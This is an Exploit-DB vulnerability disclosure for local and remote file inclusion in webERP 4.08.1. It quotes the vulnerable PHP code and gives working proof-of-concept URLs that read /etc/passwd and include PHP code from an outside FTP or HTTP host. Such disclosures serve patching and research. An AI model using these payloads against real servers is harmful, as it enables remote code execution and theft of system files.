ID EDB-ID:19431
Type exploitdb
Reporter dun
Modified 2012-06-28T00:00:00
Description
webERP <= 4.08.1 - Local/Remote File Inclusion Vulnerability. Webapps exploit for php platform
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-06-27 ]
###################################################################
# [ webERP <= 4.08.1 ] Local/Remote File Inclusion Vulnerability #
###################################################################
#
# Script: "Accounting & Best Practice Business Administration System"
#
# Vendor: http://www.weberp.org/
# Download: http://sourceforge.net/projects/web-erp/files/
#
# File: ./webERP/index.php (line: 4)
# 1 <?php
# 2 $PageSecurity=0;
# 3
# 4 include('includes/session.inc'); // 1
# ..cut..
#
# File: ./webERP/includes/session.inc (lines: 4-16)
# ..cut..
# 4 if (!isset($PathPrefix)) { // 2
# 5 $PathPrefix='';
# 6 }
# 7
# 8
# 9 if (!file_exists($PathPrefix . 'config.php')){ // 3
# 10 $rootpath = dirname(htmlspecialchars($_SERVER['PHP_SELF'],ENT_QUOTES,'UTF-8'));
# 11 if ($rootpath == '/' OR $rootpath == "\\") {
# 12 $rootpath = '';
# 13 }
# 14 header('Location:' . $rootpath . '/install/index.php');
# 15 }
# 16 include($PathPrefix . 'config.php'); // 4 [LFI]/[RFI]
# ..cut..
#
# [LFI] ( magic_quotes_gpc = Off; )
# Vuln: http://localhost/webERP/index.php?PathPrefix=../../../../../../etc/passwd%00
#
# [RFI #1] ( allow_url_fopen = On; allow_url_include = On; register_globals = On; )
# It is possible to bypass line: (!file_exists($PathPrefix . 'config.php')),
# when we use some url wrappers. For example ftp://
# Example:
#
# dun@rd01 ~ $ cat ./config.php
# <?php phpinfo(); ?>
# dun@rd01 ~ $ ftp ftp.server.com
# Connected to ftp.server.com.
# Name (ftp.server.com): user
# 331 User user OK. Password required
# Password:
# 230 OK. Current restricted directory is /
# ftp> put config.php
# local: config.php remote: config.php
# 200 PORT command successful
# 226 File successfully transferred
# ftp> quit
# 221 Logout.
#
# Now we can use url:
# Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:password@ftp.server.com/
# In this case, script checks if the file 'ftp://user:password@ftp.server.com/' . 'config.php' does not exist.
# If exist, then include it.
#
###################################################################
#
# [RFI #2] ( allow_url_include = On; register_globals = On; )
#
# File: ./webERP/includes/LanguageSetup.php (lines: 29-84)
# ..cut..
# 29 if (!function_exists('gettext')) {
# ..cut..
# 34 require_once($PathPrefix . 'includes/php-gettext/streams.php');
# ..cut..
# 64 } else {
# 65 include($PathPrefix . 'includes/LanguagesArray.php');
# ..cut..
# 84 }
# ..cut..
#
# Vuln: http://localhost/webERP/includes/LanguageSetup.php?PathPrefix=http://localhost/phpinfo.txt?
#
### [ dun / 2012 ] #####################################################
{"id": "EDB-ID:19431", "type": "exploitdb", "bulletinFamily": "exploit", "title": "webERP <= 4.08.1 - Local/Remote File Inclusion Vulnerability", "description": "webERP <= 4.08.1 - Local/Remote File Inclusion Vulnerability. Webapps exploit for php platform", "published": "2012-06-28T00:00:00", "modified": "2012-06-28T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/19431/", "reporter": "dun", "references": [], "cvelist": [], "lastseen": "2016-02-02T11:50:23", "viewCount": 3, "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2016-02-02T11:50:23", "rev": 2}, "dependencies": {"references": [], "modified": "2016-02-02T11:50:23", "rev": 2}, "vulnersScore": 0.3}, "sourceHref": "https://www.exploit-db.com/download/19431/", "sourceData": " :::::::-. ... ::::::. :::.\r\n ;;, `';, ;; ;;;`;;;;, `;;;\r\n `[[ [[[[' [[[ [[[[[. '[[\r\n $$, $$$$ $$$ $$$ \"Y$c$$\r\n 888_,o8P'88 .d888 888 Y88\r\n MMMMP\"` \"YmmMMMM\"\" MMM YM\r\n\t\r\n [ Discovered by dun \\ posdub[at]gmail.com ]\r\n [ 2012-06-27 ]\r\n ###################################################################\r\n # [ webERP <= 4.08.1 ] Local/Remote File Inclusion Vulnerability #\r\n ###################################################################\r\n #\r\n # Script: \"Accounting & Best Practice Business Administration System\"\r\n #\r\n # Vendor: http://www.weberp.org/\r\n # Download: http://sourceforge.net/projects/web-erp/files/\r\n #\r\n # File: ./webERP/index.php (line: 4)\r\n # 1 <?php\r\n # 2 $PageSecurity=0;\r\n # 3\r\n # 4 include('includes/session.inc'); // 1\r\n # ..cut..\r\n #\r\n # File: ./webERP/includes/session.inc (lines: 4-16)\r\n # ..cut..\r\n # 4 if (!isset($PathPrefix)) { // 2\r\n # 5 $PathPrefix='';\r\n # 6 }\r\n # 7\r\n # 8\r\n # 9 if (!file_exists($PathPrefix . 'config.php')){ // 3\r\n # 10 $rootpath = dirname(htmlspecialchars($_SERVER['PHP_SELF'],ENT_QUOTES,'UTF-8'));\r\n # 11 if ($rootpath == '/' OR $rootpath == \"\\\\\") {\r\n # 12 $rootpath = '';\r\n # 13 }\r\n # 14 header('Location:' . $rootpath . '/install/index.php');\r\n # 15 }\r\n # 16 include($PathPrefix . 'config.php'); // 4 [LFI]/[RFI]\r\n # ..cut..\r\n # \r\n # [LFI] ( magic_quotes_gpc = Off; )\r\n # Vuln: http://localhost/webERP/index.php?PathPrefix=../../../../../../etc/passwd%00\r\n #\r\n # [RFI #1] ( allow_url_fopen = On; allow_url_include = On; register_globals = On; )\r\n # It is possible to bypass line: (!file_exists($PathPrefix . 'config.php')),\r\n # when we use some url wrappers. For example ftp://\r\n # Example:\r\n #\r\n # dun@rd01 ~ $ cat ./config.php\r\n # <?php phpinfo(); ?>\r\n # dun@rd01 ~ $ ftp ftp.server.com\r\n # Connected to ftp.server.com.\r\n # Name (ftp.server.com): user\r\n # 331 User user OK. Password required\r\n # Password:\r\n # 230 OK. Current restricted directory is /\r\n # ftp> put config.php\r\n # local: config.php remote: config.php\r\n # 200 PORT command successful\r\n # 226 File successfully transferred\r\n # ftp> quit\r\n # 221 Logout.\r\n #\r\n # Now we can use url:\r\n # Vuln: http://localhost/webERP/index.php?PathPrefix=ftp://user:password@ftp.server.com/\r\n # In this case, script checks if the file 'ftp://user:password@ftp.server.com/' . 'config.php' does not exist.\r\n # If exist, then include it.\r\n #\r\n ###################################################################\r\n #\r\n # [RFI #2] ( allow_url_include = On; register_globals = On; ) \r\n #\r\n # File: ./webERP/includes/LanguageSetup.php (lines: 29-84)\r\n # ..cut.. \r\n # 29 if (!function_exists('gettext')) {\r\n # ..cut..\r\n # 34 require_once($PathPrefix . 'includes/php-gettext/streams.php');\r\n # ..cut..\r\n # 64 } else {\r\n # 65 include($PathPrefix . 'includes/LanguagesArray.php');\r\n # ..cut..\r\n # 84 }\r\n # ..cut..\r\n #\r\n # Vuln: http://localhost/webERP/includes/LanguageSetup.php?PathPrefix=http://localhost/phpinfo.txt?\r\n #\r\n ### [ dun / 2012 ] #####################################################\r\n \r\n \r\n \r\n \r\n \r\n ", "osvdbidlist": ["83414", "83400"]}
{}